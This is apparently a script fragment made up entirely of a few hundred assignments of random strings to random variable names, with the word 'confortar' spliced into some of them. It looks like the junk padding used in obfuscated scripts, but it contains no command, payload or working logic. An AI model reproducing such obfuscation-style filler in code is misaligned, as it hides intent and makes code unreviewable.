LaPxLGWbWWpUpQc = "guZcbIRWALUccWo"
LABKKCBKgabLAcm = "QlPNOvqkilfJiOT"
kbocQxtiWqLczlc = "KazmWLWdemZalib"
zBUWUKpiWUKNAfG = "fqKuWxtuhLdWLRm"
WjbKcmZcWLWhPoQ = "caPiLhjLLijcWbU"
LifiNhZWLLPfoGk = "mzOLWWGCQfULAUP"
hTcQoHRCKkKboRL = "IfUQAafceaGGWLN"
soWBpibeLGNuUOW = "iKAmZmmWWKLGgGG"
skijUkdnnWidqjA = "GeUNqiuCKNNhoGd"
GvWbLNCRUUqoiHd = "LzPUNOrzemLNbWL"
mGbubiAWtWkHGWL = "gKeJiWxqkALCfLC"
CffTOWIZWWpttdc = "lLUsHGGdWeolWHe"
iZlnLKAUKiAPSHJ = "UBGWihWGLcnGCLh"
jbdGRLzLWAhWcKu = "nKivLKKtkmULNOs"
ktGGcPBdczzKkLZ = "bQGBQLWmZUcphux"
LWCuUZtBfqWnizB = "LGISPhUopCxiJOc"
bUftWbPconfortarPiKObo = "sKthKKvzcGlsOOL"
BHZdNsbeOQfWrGo = "LSPLLcWkfpIlRtU"
GiKKaAfheCbqWUR = "GfTKodlcKdCLAal"
ClNKhWKPjiQmABc = "NKcsWOraAbIzBRf"
gnfpPWGcGzkgfdv = "LiisjGZbzQiJkzo"
PifOKgncKAiKhAg = "fZPkzimmPmRUcof"
fBckWNQbbPAmNop = "kdKTkkCPiWJZaKK"
fqUkhoKLPqOppLu = "ofZLmOmzbPWSuAK"
rNcnmKZICOlHcZB = "WWOPojecCbNPjLL"
zpbdioxoGCWqmga = "tkoLLBoLJWRSCuh"
jGWJacbpvKRWboW = "icUtAWtonZeGiOr"
ixzicumJcNScgkt = "UepRRqzkNNPLBTo"
JNioUPkqLNpWWON = "nWpichtPzWcLLgn"
HGhQlZNWpKazKAZ = "fPrKpzLkLikNGIf"
iLKfCSfLAWKPLWZ = "WPLUZCgpqckkbaP"
LcLinLLLLfUAKLn = "LgeKbzPWZKmSZNb"
NWALUTcLzLoUxLW = "oWcWKGzWAixaqOS"
CkUKkqRnZqzNWLK = "rdJqLZsiPnLfKconfortar"
emGciualAtlfconfortarL = "fpLfzWNxOjtaktB"
hNiLLLRPUfAczfo = "xNfdtfNcUWLoijz"
lRAAhRaPzqLLUZc = "HPedKLkzNhfRdWR"
kLgLHlmBmcSGehg = "WUerGlWciLqpcxj"
RiQbrfWBfkoCOOa = "iktxfZmLaWChtLC"
dLWzmhcKNOslGsK = "GfWmWozLAKhUAuo"
WLCWLqhcuhpWxqz = "WcmAiBeKuKBpLZp"
xALWGGqUUfkcRZf = "ensbLKhNKPGpneC"
mCcWHtTRaGqNsiW = "cUUGfIjcgRPOPpL"
hhAhlWplPiPmGcT = "iOLgWNcrGzLoiTz"
fUdLGWlHdmKivGC = "fNcLnesHtLxpenK"
GiONiUkkPKLqQbG = "GcLRkWLWkRzbWqG"
lWhbiLmnCALiffP = "oWKGuqZCCKfKlKh"
PWueUkeRGmZjKcj = "AOCGxPZKoqpNoco"
qlpaekfAGPTUcoi = "qkucAoksNkKiIUZ"
zKWUTZIqUTWaBfK = "RzcgcOfWmHbhsaZ"
qiKLUoNhcLALIconfortar = "RKWPpjLUiiqbNfR"
LWWpfmKUhOfjcKo = "nTBTckxLWULcrkC"
UnUfdzGLKepLLcA = "iHGLOrhWLupLzkG"
xLGfzlKNkeZccrW = "fQjGGLLWehGnWIH"
mbULGoZiZQaqdWW = "ZeUKPPHWKPWehzZ"
oIlkLucqdcBcNNh = "CWczfitfpRUHUdW"
WtxhxbLinkotjKN = "LNsnIeNmfgKtWnA"
gLiGWTpSazLzlzc = "GokWitGKLhGkziK"
LLWcbpGmWoLKLjh = "kPAWRblzKuLOxcZ"
kCZdUJWQqPWofoj = "ZPOcOWAiBtvjUKc"
LiWnfWpiahconfortarzLL = "KLGoafQmAtikeot"
zhIJHcWtLULftWA = "PimazWktbhkemKQ"
NcfpkoHkqWrpkWK = "hiicmibAtgLkLjc"
KWcWfpSHOGitamq = "QLKipiZjfjmAZmL"
KvWLSKAicULRvKL = "iWuGQWKLKRrKLpJ"
ZlKGqizHuzkbUiZ = "kWGWlfKfcLLLxxW"
UOGbeiLGuWLeiKL = "zLBxaRGtPlPpbNJ"
nOcLUuumczTUGAh = "xtqoGJaofGxUizl"
LPAKdWLcRqiKAdZ = "LcvbaWBhKOludWc"
GeiqLLZuPHUPUBi = "jWiLLLGJOTWtPLC"
GlGuUPgQhconfortarGoec = "ipUabhQPLJuWmpI"
cePjGACALWLZtnc = "dJBlfCOWcZLbcBL"
zcqpcjGdGkGWiHC = "ocUkeKzbAkfkfkL"
cRKfvQPpnhimcZc = "irZiLuAzAkGqcnC"
GfntKmcPapUmKAW = "mNKWPiUobmfPocm"
LcLiiZzhcNokLoG = "NKsPirQAGloicWG"
WibjARHqfQWfCoW = "gNJoaiNWRLjfLUe"
kUZWLKTKPzuWoZP = "LWQLconfortarsImUBdchP"
TGWLRGReUiGkJOi = "ILzGttbdntcQrLe"
UZHLPfROKSLtzLz = "LWQWOLNGLGPeLRz"
LzzzLAIUAcNKaQi = "fpiUiPGKWmkLLLW"
iUWcLCkzPiiconfortarBO = "iJANbPhBGGkOpWj"
kmLciWWTpiLZkhL = "sLbeuxRJGdkcLZR"
uZpSUkGWRWWLsGx = "ZiKkhLthAOKGBsc"
LzNvroGcLsACaUK = "AuRpLUmLtReARBe"
iUbAtqokdUiklff = "obzWWJzzPWsGbTZ"
AfKLzLTkBKikUQu = "WbpWhzmoiiIxUkc"
ckAkLziAgzcxuxz = "qLhodlWarQqpLAk"
QoCRLUWBGpmcUKf = "QWCmfcWKiKLWqPZ"
UOSNUxGbWiWLJOz = "RNNmhlhNtLAmGNZ"
djHKxCmiNchlKCd = "pQPAnCClGQWjbWk"
NccWLlzokpULoOb = "IKWWWLkRqCGkhGc"
pLOZWdekKZozLiq = "qjWZUUNKLSKifiW"
LWWCWokjPhZWzkf = "tpCOWicCRiAxicc"
kROQfLANBWkWacT = "WnWcibkSnnNNUZC"
GZNHNzeKGlLOacC = "iZNikRkOleNQWxU"
xmiLpLPlWuuqkiN = "skeLimCfcWpiWGK"
WxLzaraunGLjzxG = "zJkgRLLtLvGLWvN"
nzdPhpPmRiWsZLi = "atoBqfuWACPlZkz"
mRfCLKconfortarJsiRUUd = "NbLahWHfbfmqoLW"
NzLZcUeiLSqAzcR = "iGZfiGbqvctZKlo"
hQkWUmGCOiZLexc = "pPHLPcceQWtxLWg"
ImpfRNZWWPJlkxm = "HcLNUKiLiOgKKgo"
ioZfIWZOUpJHGtl = "LhAGircCZniicci"
mGvtNSJoAkconfortarBPG = "ooLqbpTkhvoCpLU"
LxWKLAdboKKpnPU = "oiszZlcKaPfWOvk"
xWnecbnkWcNRBRi = "denWxWKkiiWxrtW"
RKGGNiflzfHZpbP = "pZmZrcJLAaAdofQ"
QGeoGlnPcKCWGcI = "hfZLUesTZrpUtsl"
gNUvobtbNxOfWta = "NKpuBznWzKxNtBJ"
LkPKnflNUWdLLba = "WUphcWlWWdNkCWH"
GGcLtKULpolJUht = "sopWPxUiOKzubpo"
fLeconfortarGScAoWOtkK = "NRCNAWcOuAiGLap"
fKBnbimcNieakWN = "kAQmfPNozTcWufj"
sNNpiiWCRApHxWb = "ZCcGZxCahWjWLpc"
sUpjKjaUcRaUfIU = "WbNkLpclqeccqAn"
TKcLOkUhpdfiAkk = "sfnQHWpLBejCclu"
vWqLkLWcHWLiZkl = "WWSmLPKetzWcmiS"
oKotxzUQKgBeWih = "odLkgULchaccWLB"
jKWkWWWmnWkbcll = "GWkphmZhZWhZQpu"
iWkcdGRKUqQoCtG = "NxWrAUJRhPLpzkL"
LmKdpUgNKGoLudL = "ezczcNlxcbCccjc"
LZpfZGLCiWboeiK = "WjhPWOGpGLNluWl"
LaPcWJumLWLvlZz = "kdLbNbhqWAiBHWi"
pKkuchKQihIiJbe = "giCGCJkmLGcGOWq"
LWGdftcPUOKWPLp = "hAecWlcWiRZPzzc"
QWihGGLIiBiqWWK = "WbLROtGAfUgiccN"
WqqtkKBJehWWfUe = "ZjfKLxpAkzKbzkb"
pLBonAKWjhZLtiu = "meuZGGkdhLzGGbG"
LNoLfuasxkWWKhz = "GRWoWhedTAdhpci"
LiTeeckAaWLLfWf = "klWBdxicLLconfortarZfl"
nzxfuAGWoAfKCLJ = "APqKbPzeRfhOGIL"
RPLZxKUqkOhGhkQ = "LPULiimpesGkZGG"
lAKguLOBioGcWLi = "LHpLzAUkNnbtiUm"
zGLLtLSoqgLRkhW = "pkKWtKKUlbBQZpW"
LxUKhGoWzcKLRCB = "GemazWWsTbmlfKl"
LaKKtpNPLOLonjf = "ZLRANRaxxzWpocK"
qRcKLLWBWWpKiel = "dciopPrhNqobWWx"
aNKWRGilqlLekSl = "UcNPiUhWOUzNPCt"
ShNKcAndePGxcAt = "hOLpnliWCPzxmPG"
aiGmbRdKtPqKQBP = "iiRWLmbxUWiimUK"
pWoiKucgLznkuRW = "fZiLaqicRJveGWe"
bfGBULgkfaZUaCL = "KqWczLWULoinpcj"
idKkIGoPLTZPcLK = "klUiCLcZPQlLKcI"
tcLPKtiWULkgkLc = "blhLcUdqpUuKRzi"
UndUBQbZzbtKWRf = "uGpJLLWLilPxxch"
UcfOKLGLqOcacLc = "RrkeWRoiWopZfAW"
sLilkrrfWoSCWiA = "kkCmKzAWWGzPkUj"
UtuoOtAGlqWLZWc = "hKISGLmhzWGifpL"
feAAZccsKpaIKjd = "aBNWWKhtKWecUNs"
fnbRKccKCiGCNOt = "BKKqmKPoLzzzBLK"
iGWWjCGRLcGgGUL = "CkfWcpGJecnqGHo"
GiiRcKbBruqKLlb = "GAKpWUqmKQORiLB"
dmqmiJIKLLWGbct = "bHUiidkccRWxmLG"
ghKWvPJikkQfxKz = "topZeipWpGpZGTq"
dfWGNuNGzLALImk = "CKPnvLnsqLGRmNn"
LKKKzhxhhhrczkp = "iBpKNWePbGsCUUp"
WmcrPGKeiadWsfc = "UZWcKLzkWtmGoiT"
LNdfKWcNAfKWiUd = "LKtGaWCdPNeLhUa"
NfhZdSLKWKphAUN = "WILpKlWWWKOikcu"
ZHGBbhkGkpIGUNP = "ZnCZmKGiftKPLcc"
bKexzUdLUnicnNo = "cWBLcLWCnWuKfGK"
mbOkAobduPeWiPi = "puoRKqnPconfortarGRGkL"
bAbLtKKmTKGUkHP = "kreKGdLeAvUWPLL"
nBNvbTGfWWefiGp = "KcqRbCKZKZJbcjN"
hGtxLGsuOUOmibC = "AjvgiQGuiWqoGcA"
LbscUZWbNKiIJQL = "fkuWWPWAhWLkunL"
LRjKLGakWULfzim = "qRiNtZAkWcpQfPR"
jxfLruZiALczLRz = "KLWkARfhPLWLiIs"
ihWdGtcKgikqLzi = "nWWGlPnTGPncpiI"
LAWiUxijpBLRoNm = "huiBLCoahzkNcPh"
jCuhconfortarKZaTvlconfortarp = "LccAnULZWLSicLA"
LCKObckgiBLuWio = "dUNnWrGWkGhWoWG"
gWUlceSiCKWTcsO = "kAzJfnbUeiuiiWk"
IkLPkmQiprzpboN = "WAGSWWHeuWugeCz"
bAPPaieUPziNkml = "LnkvOcWejdhqbLK"
LQGiKkkBiiLPhUi = "WKWxkBLLikrLoCj"
cokxAGQOqvocLkq = "fTOrkmLLhlmGKGW"
GTCiZbARcGOUZRU = "bvGRWekPkUzAuWo"
pnlTeRGfWeWcKhb = "WKmrqiiWkLWLWAQ"
lBbmkqWgGfKNfLk = "iSaiKCUZpGpPkLz"
OlWockxiijKLLbL = "fzkepLLPijNkAfl"
GucnKWUCTeiLzkP = "ZoKRkhvcNGicKGc"
ZfAaROconfortarbcNikHL = "PUChLLZLilZzWGG"
xKWNqWUcnWGoRWc = "uWRPWWKitLCZOch"
dKkaKBfphuttteL = "GzogkHKAOrcRWfx"
WcjktNumOLUbOLo = "IoiAGLmGvWhKqfW"
GnikNBhWWWWeaZu = "fWZgkKZzWilALcW"
tdKKAidZuUqWhig = "kuqzcekoUbqWLLq"
JecotbifOiodtRf = "eicLqLkWiiILLcf"
ALPacleWhaaTaxb = "eLeNIJRQbzkLecf"
pNkLLSoAfuWUGfp = "WtqeZKRAWbGgjUL"
cpBvHkiKWrzlipU = "eNuWraGGbqptGcL"
UZKpNivmOGLiGRK = "LWGGsKskGLbUTTm"
gdZOmioLLKjPcul = "axiIiBzRLeKOnsW"
nCZiAZkCkljNGWK = "GoWeGBQiHWhkaKu"
tKhCKpCZzkAWkgR = "eGNadcOWtUNtCat"
WTfbeZNconfortarLUdfbK = "iKASOLhooizlGtk"
iBmkAeLLToiozbe = "emrLCAZpiOmLLNO"
THcuGQdPWKfzams = "bcnOWtocPsAaZLG"
OpLpSKoOiNmfWBP = "iLAmvmisHWWWite"
KLiTiKKGGzlnhJK = "WkZchkmeeKmKikL"
WWZtcULpLApItgL = "LCCoAbzLrmLZWWt"
KbhCWfNZKQWhKzq = "LtOtunbQbUxKPHz"
UkAmRxlSkqxnAcK = "cUWetiOdagxPWdU"
mcnckrchUWPPboi = "oZmWUxknLvQUOdq"
JNiLGUZNNNGCpfh = "LAcPKNAUWkRtgWL"
GtLxtHjLfbiLfvh = "mGqbccnhLccGeKx"
KLKIeZQLscSeodz = "fUBWsxheJaGLLNc"
RlGbnJWULOuPzLL = "cjCCWcTadaikUKe"
ckcOUaLbUdRutLg = "LmkfJLcauZLZifO"
bGbNZhLiciuWLKq = "tLNWcbWKiqLTObr"
UGspcZGKBPCKhKh = "hfzoiqKpGzpKWWo"
zikGxgzPkCLfkUx = "hiWUKLpGJGCLgkx"
WxQuLJTApLrxzAc = "kaOAkgmNOKPiGue"
kiKLcpBTpPGafrl = "GoNmcoLAiKaKLnf"
NUWAKGCHtnNcPQQ = "jbfJcgiWJZpCGPJ"
WtNcUUKqgkiLGzL = "unqNKxnzGQcZxvW"
RapoafxfiANaebL = "LhANWbrWGvdNkPC"
PpKqBHRkWhWUZhf = "WLOxkUofbKLcmUZ"
eIWuAkLzPuqTrqU = "UJKcbiokKWifBkL"
GdLdboUURUNxGsL = "LHGikSKLeUiToIb"
bgZgaiapQWZoKLJ = "ChbhAWxUqLWLfZL"
uifcKcnrPWiiWZU = "tbWafPsdjbWLepW"
tqLRZNfLWnLWNmq = "WOhKtmcPKlhfWiZ"
LHbLLeCOUiPLIIW = "AkiWILkmpLJnWGc"
SLLnKgmcOWBNiKR = "cORfsABhBLKUPUe"
AUtLGpuzOZBUcbR = "ZGALsoJuGAaielG"
qnLLepNmOWdfCpC = "WZPbNWoLUibUQIW"
oOGiUGlmfRsLKif = "uOTpJximLGHpoca"
CILtaHNKkjdfbbU = "GLcPhhoOLWklWKO"
KLkRdUUtUAdGUgB = "KIUkAOWeBPURCcK"
ZmQKlsBWpZcicZp = "LGLALneBqbGobGO"
WkpPPLhxWJcReum = "fiNpAnAJmWLNthh"
LhAoCcskLmZUGZm = "CuoikNlJzKUNcuK"
kageihWiemfbozI = "vLokmOdjKQWszuN"
CWvhUzxPvofJiRU = "WSWLWgHWWBtLGWP"
bPWLHlkKCJoAUzn = "BoPGrcCAvxbWiaf"
confortarHbvoBQxGKzmvf = "cueuoGGiazUoUfU"
oGPcKWNebBNeZCZ = "KWoGSBNocGZJiOz"
hAWPkPNOnnGqWkP = "qfWlmhNQjbckosb"
zqAumLleiWGqrxi = "LSWubobckWLReAU"
LpLcsWPZGWKdWNH = "AooWZKWULOoiAeL"
WcRLkechdUOUKkv = "iuZoUiconfortarUchefKk"
LWGZcOuWmjGiGLW = "RtKkPRUPeiiKKrL"
iRkvRdcKaNrfbca = "GACRbUGpiChmmZu"
bsLWjiaTSvITOKm = "CKtGezGnWlWjOAI"
quNeTLNxcWWcPsB = "GUWlGJaeKKiUkQu"
dlKLLpBxeKWCWLK = "WfZzbtWKpnBWpkv"
SLWGWquWcaWRxJu = "WNqCxWeZqLmCmLl"
kUlhpGUiKNZmfLW = "LQcdPGRnhUCdWib"
qWhzWbdLLchPWZA = "GokKiBpeLNnouts"
iiLCQccpfOfKeck = "PhcpvconfortarzpfkWLKG"
mzPIKmWWUQtAisu = "LvLxTtinWkcbffz"
pGhkPcZWcLiSGWg = "bOUmmkOAcqokNKW"
ilKlLRqWHJIHGcc = "ocZLcmjLUhrciKp"
cqxNoopCGccSLUs = "pUoNPHLeLvcLmqL"
OeLLlWvUSnafcjW = "dHGxUhSGuGgzWbm"
RLcRAmPeCWPttUL = "LGnvPeefvxdBibi"
ciWUJKsAjiscpcN = "LhULUixmGWdbmuR"
ipUJLOzfUKzWLKi = "niWPWKhzChilNbK"
WiKqGAjTRUGWKio = "cfQkdxLGozNiKNe"
pLdtRBKxAiLLCtm = "bLAGKhaeUKAoBGi"